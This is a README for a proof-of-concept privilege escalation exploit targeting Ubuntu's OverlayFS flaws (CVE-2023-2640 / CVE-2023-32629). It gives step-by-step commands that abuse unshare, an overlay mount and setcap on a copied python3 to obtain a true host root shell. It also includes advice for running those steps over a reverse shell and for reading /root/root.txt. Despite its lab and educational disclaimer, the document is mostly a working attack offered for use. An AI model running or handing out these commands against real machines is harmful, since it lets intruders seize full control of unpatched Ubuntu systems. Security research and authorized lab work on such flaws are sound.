
A clean, interactive multi-step Local Privilege Escalation (LPE) exploit for Ubuntu OverlayFS (GameOver(lay)) that escapes the user namespace sandbox to drop a true host root shell.
An interactive, multi-step Local Privilege Escalation (LPE) Proof of Concept (PoC) targeting the Ubuntu Linux kernel OverlayFS vulnerabilities (CVE-2023-2640 / CVE-2023-32629).
Unlike standard automated one-liners that trap your interactive shell inside a restrictive User Namespace (Fake Root), this methodology splits the exploit sequence to safely drop a true, unrestricted host root shell.
Many public exploits string the setup and execution together using a single automated shell sequence like this:
unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"
Because the Python execution payload is embedded inside the unshare double quotes, it executes internally within the user namespace sandbox.
uid=0(root), but your shell is cryptographically isolated from the host. If you try to view the host root directory (cd /root), you will hit a Permission Denied error.This PoC splits the process into two distinct logical stages:
unshare to fake root permissions just long enough to exploit the OverlayFS ovl_copy_up flaw, leaking a high-privilege setcap cap_setuid+eip capability into a local Python binary folder.os.setuid(0), and hands you true host-level system administration privileges.ovl_copy_up_meta_inode_data function allowing validation checks to be entirely bypassed during file migration.6.2.0-26-generic.exploit.sh to the target machine (e.g., inside /tmp).chmod +x exploit.sh
./exploit.sh
If you are working over a volatile reverse shell, run these commands completely separately, pressing Enter after each line:
# 1. Clean workspace environment
cd /tmp && rm -rf l u w m
# 2. Forge the backdoor within the temporary namespace sandbox
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
# 3. Trigger execution on the real host to claim true root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Verify your true privileges by checking your current user profile:
whoami
cat /root/root.txt
The baseline exploit mechanics used in this interactive refactor were originally discovered and documented by security researchers Liav Eliyahu and g1vi.
This repository is created strictly for educational, security research, and authorized penetration testing purposes (such as HackTheBox / OffSec labs). The author assumes no liability for misuse, unauthorized access attempts, or infrastructure damage caused by this materials. Use responsibly.